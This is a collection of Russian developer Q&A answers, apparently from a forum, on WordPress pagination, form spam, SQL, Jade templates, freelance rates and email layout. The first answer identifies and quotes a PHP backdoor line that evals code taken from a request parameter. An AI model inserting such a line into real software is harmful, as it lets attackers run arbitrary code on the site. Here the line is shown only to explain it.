Задать вопрос
  • Что делает данный код на php?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Чёрный ход, он же бэкдор. Если в запросе к сайту будет параметр с указанным именем, то он выполнится как код PHP.
    eval(stripslashes(@$_REQUEST["VpnuvWRdhMsvhcWLUsXt"]));
    Ответ написан
    Комментировать
  • Как предотвратить спам через форму обратной связи?

    Zakonoposlushniy
    @Zakonoposlushniy Автор вопроса
    Решил проблему таким способом :
    В форму добавил поле
    <input id="check" name="check" type="hidden" value="" />

    Потом в кнопку, через которую идёт отправка, добавил
    onclick="document.getElementById('check').value = 'secretcode';"

    Вышло что-то вроде этого
    <button onclick="document.getElementById('check').value = 'secretcode';" type="submit">Отправить</button>

    И в php-обработчике, добавил это
    if ($_POST['check'] != 'secretcode') exit('Spam decected');


    Возможно кому-то поможет.
    Удачи!
    Ответ написан
    9 комментариев
  • Как вывести пагинацию на custom post type?

    @avprinciple Автор вопроса
    Погуглив и помучившись, я выяснил, что с get_posts не работает, нужно менять на WP_Query, я нашел тут сей код:
    Paginating a CPT.

    <?php
    $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
    $args = array(
         'post_type' => 'custom_post_type_name',
         'posts_per_page' => 10,
         'paged' => $paged
    );
    $loop = new WP_Query( $args );
    while ( $loop->have_posts() ) : $loop->the_post();
         //CPT. content
    endwhile;
    ?>
    <nav class="pagination">
         <?php
         $big = 999999999;
         echo paginate_links( array(
              'base' => str_replace( $big, '%#%', get_pagenum_link( $big ) ),
              'format' => '?paged=%#%',
              'current' => max( 1, get_query_var('paged') ),
              'total' => $loop->max_num_pages,
              'prev_text' => '&laquo;',
              'next_text' => '&raquo;'
         ) );
    ?>
    </nav>
    <?php wp_reset_postdata(); ?>


    Я от слова совсем не силён в PHP, не знаю как тут в циклах закрываются скобки, в этом коде при выводе html - разметки - ошибка.
    Сопаставив и чуток переписав цикл с wp-kama, у меня всё получилось, навигация вывелась, всё огонь.
    Этот код рабочий, просто цикл переписать надо, или что-то, чего я не знаю в этом коде с примера)

    Мой переписанный код:

    <?php
              $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
                $args = array(
                  'posts_per_page' => 6,
                  'order'          => 'ASC',
                  'post_type'      => 'my_type_post',
                  'paged'          => $paged
                );
                $loop = new WP_Query( $args );
              ?>
              <?php
                if( $loop->have_posts() ) {
                  while( $loop->have_posts() ){
                    $loop->the_post();
                    ?>
                    <h3><?php the_title(); ?></h3>
                    // My HTML
                    <?php
                  }
                  wp_reset_postdata();
                } 
             ?>
    
    // И в нужно контейнере - месте размещаем nav.
    <code lang="php">
           <nav class="pagination">
              <?php
                $big = 999999999;
                echo paginate_links( array(
                  'base' => str_replace( $big, '%#%', get_pagenum_link( $big ) ),
                  'format' => '?paged=%#%',
                  'current' => max( 1, get_query_var('paged') ),
                  'total' => $loop->max_num_pages,
                  'prev_text' => '&laquo;',
                  'next_text' => '&raquo;'
                ) );
              ?>
            </nav>
    </code>

    Ответ написан
    Комментировать
  • Как установить автоинкремент в поле таблицы SQL в phpMyAdmin?

    Stalker_RED
    @Stalker_RED
    Чекбокс A_I это именно оно.
    Или так:
    ALTER TABLE `tblname` CHANGE `id` `id` INT(10) AUTO_INCREMENT PRIMARY KEY;
    Ответ написан
    Комментировать
  • Как вывести посты только дочерних категорий в wordpress?

    atomheart
    @atomheart
    Пишу на Python за карму и за деньги
    Примерно это делается так:

    Вот тут https://codex.wordpress.org/The_Loop в разделе "Multiple Loops Example 1" есть пример решения вашего кейса:

    // Get the last 10 posts in the special_cat category.
    <?php query_posts( 'category_name=special_cat&posts_per_page=10' ); ?>
    
    <?php while ( have_posts() ) : the_post(); ?>
    	<!-- Do special_cat stuff... -->
    <?php endwhile; ?>


    Т.к. у вас родительская пустая, то ничего не выведется.

    На всякий случае вот так можно исключить категории из списка, но есть подозрения, что она исключит поддиректории:

    <?php
    if ( is_home() ) {
    	query_posts( 'cat=-1,-2,-3' );
    }
    ?>


    В крайнем случае вы можете вручную отслеживать категорию текущего поста в цикле и пропускать посты из родительской категории. Вот так можно узнать текущую категорию (родительская):

    $cat = get_the_category()

    Подробнее про query_posts тут https://codex.wordpress.org/Function_Reference/que...

    Надеюсь, вам это поможет.
    Ответ написан
    4 комментария
  • Как исправить отображение slick-slider в magnific-popup окне?

    При клике на кнопку popup вызовите метод .slick('refresh') либо .slick('reInit')
    А если уж совсем точно, то вот так:
    var slick = $('.slider').slick({
          //Тут параметры	
       });
    
      //Теперь по клику на изображение magnific-popup реинициализируем слайдер
       $('.img').click(function() {
          slick.slick('refresh');
       });
    Ответ написан
    1 комментарий
  • Как подсветить активную якорную ссылку?

    Предложу свой вариант (для точности переключения нужно поиграть со значениями top и bottom)
    jsfiddle.net/bonilka/p7sgwg4L
    Ответ написан
    7 комментариев
  • Как грамотно сделать меню в jade?

    AirWorker
    @AirWorker
    Node.js full stack web dev
    Реализация подобного рода вещей - сильная сторона Jade

    Под такие задачи плохо подходит include. Используйте наследование. В родительском шаблоне определите все общие блоки, в дочерних шаблонах оставьте только то, что меняется

    1. Создаем родительский шаблон, определяем блок контента и блок общих переменных, убираем дублирование в микс, этот микс вызываем в цикле, данные для цикла выносим отдельно:

    //- filename: root.jade
    - var nav = [{url: '/', name: 'Home'}, {url: 'about.html', name: 'About'}....];
    doctype html
    html(lang="en")
      block sharedVars
      head
        block title
      body
        ul.nav
          each i in nav
            +navItem(i.url, i.name, i.url == pageUrl)
        block content
    mixin navItem(url, name, current)
      li.nav-item(class={active: current})
        a.link(href=url)= name


    Очевидно, теперь родительский шаблон ждет переменную pageUrl.

    2) Создаем шаблоны дочерних страниц, в них определяем родительский шаблон, контентные блоки и необходимые для родительского шаблона переменные.

    extends root
    append sharedVars
      - var pageUrl = '/';
    block title
      | My title
    block content
      h1 Мой заголовок
      .content
         p Hello World


    Обратите внимание как передается переменная pageUrl из дочернего шаблона в родительский - через блок sharedVars. Этого нет в документации по Jade.
    Ответ написан
    7 комментариев
  • Как правильно оценивать стоимость своей работы?

    @jkotkot
    режим сарказма
    Проблема в том, что вы ДЛЯ СЕБЯ не можете оправдать цены. Как помочь это сделать
    • Для начала рекомендую зарегаться как заказчик и попробовать поискать фрилансеров.. посмотреть какие ставки у конкурентов с аналогичным опытом. Я с 10 летним опытом берут 40-50 долларов в час. Есть те, кто с аналогичным опытом берет 100 и это не зависит от того, где человек живет.
    • Если нечего есть, то ставьте среднюю ставку, чтобы была работа и было на что жить. Среднюю ставку же не сложно обосновать? При приближении конца проекта/запасов пробуйте делать ставки больше или даже существенно больше. Как показывает практика, никто не начинает выяснять отношения, почему вы с других брали на 10-20 процентов меньше.
    • Сделайте разные ставки для разных по времени проектов. Для проекта долгосрочного проекта на полгода и больше ставка X. Для проекта меньше полугода, но больше месяца ставка X-10%. Для проекта меньше недели ставка X-20%. Проценты берите на свой вкус

    Для начала этого хватит. Самое главное помните, что вы не обязаны никому ничего обосновывать. Если спросят почему, то отвечайте, что это ваш КОМФОРТНЫЙ рейт, при котором вы можете хорошо работать не считая, что вам платят мало. Отказывайтесь от тех, кого это не устраивает, ибо работа с такими заказчиками - это только проблемы.
    Бонус: ставки, ожидаемые заказчиками на одеске по категориям($ $$ $$$) goo.gl/DGxDYf Взято из самой статистики одеска
    Ответ написан
    1 комментарий
  • Как подключиться к внешнему FTP с помощью FileZilla в Ubuntu?

    CityCat4
    @CityCat4
    //COPY01 EXEC PGM=IEBGENER
    Какие тут требуются пояснения? Имя пользователя или пароль неверные, либо имя входит в список запрета (deny_users)
    Ответ написан
    Комментировать
  • Как сделать чтобы при клике на черно-белое изображение оно становилось цветным?

    SagePtr
    @SagePtr
    Еда - это святое
    Можно без JS, невидимым radiobutton'ом, например)
    https://jsfiddle.net/rruv25q5/1/
    Ответ написан
    Комментировать
  • Как сделать чтобы таблица при клике сворачивалась и разворачивалась?

    iiiBird
    @iiiBird Куратор тега CSS
    Пока ты спишь - твой конкурент совершенствуется
    делаешь display:none; то что должно быть скрыто. вешаешь клик на строки и обрабатываешь через slideToggle, то что у тебя display:none;
    Ответ написан
    3 комментария
  • Чем отличается верстка сайта от верстки страниц email рассылки?

    dudeonthehorse
    @dudeonthehorse
    Email Developer
    Единственный более менее вразумительный ответ дал Денис Инешин. Тем не менее он очень не полон.

    Технически верстка писем ничем не отличается от верстки сайтов. Но в случае сайтов нам нужно поддерживать грубо говоря последние версии четырех браузеров и несколько версий IE. В случае писем поддержка может выливаться более, чем в 40 почтовых клиентов, вебсервисов и мобильных приложений. Если браузеры более-менее смогли договориться о стандартах, то почтовики - нет. У каждого почтового клиента есть ряд нюансов, который усложняет процесс разработки. Для максимальной поддержки необходимо использовать огромное количество костылей таким образом, чтобы они не мешали друг другу в разных почтовиках.

    Ваш пример с тостером реализован слабенько. Плохая поддержка мобильных и старых почтовиков. Если вы из тех нытиков, которые не хотят/не могут поддерживать старые версии IE в сайтовой верстке, то верстка писем не для вас.

    Сверстать письмо намного более трудоемко, нежели сайт. В рунете нет нормального понятия ценообразования верстки писем. Заказчик абсолютно не имеет представления о рабочем процессе. На привычном фрилансе дизайнеру платят больше, чем верстальщику за разработку писем. Работая с фриланс-биржами вы заработаете на верстке писем чуть менее, чем нихуа.

    Основным источником заработка на верстке писем является работа с крупными компаниями, которые занимаются email маркетингом. Ниша практически не занята. Качественных исполнителей практически нет.
    Ответ написан
    Комментировать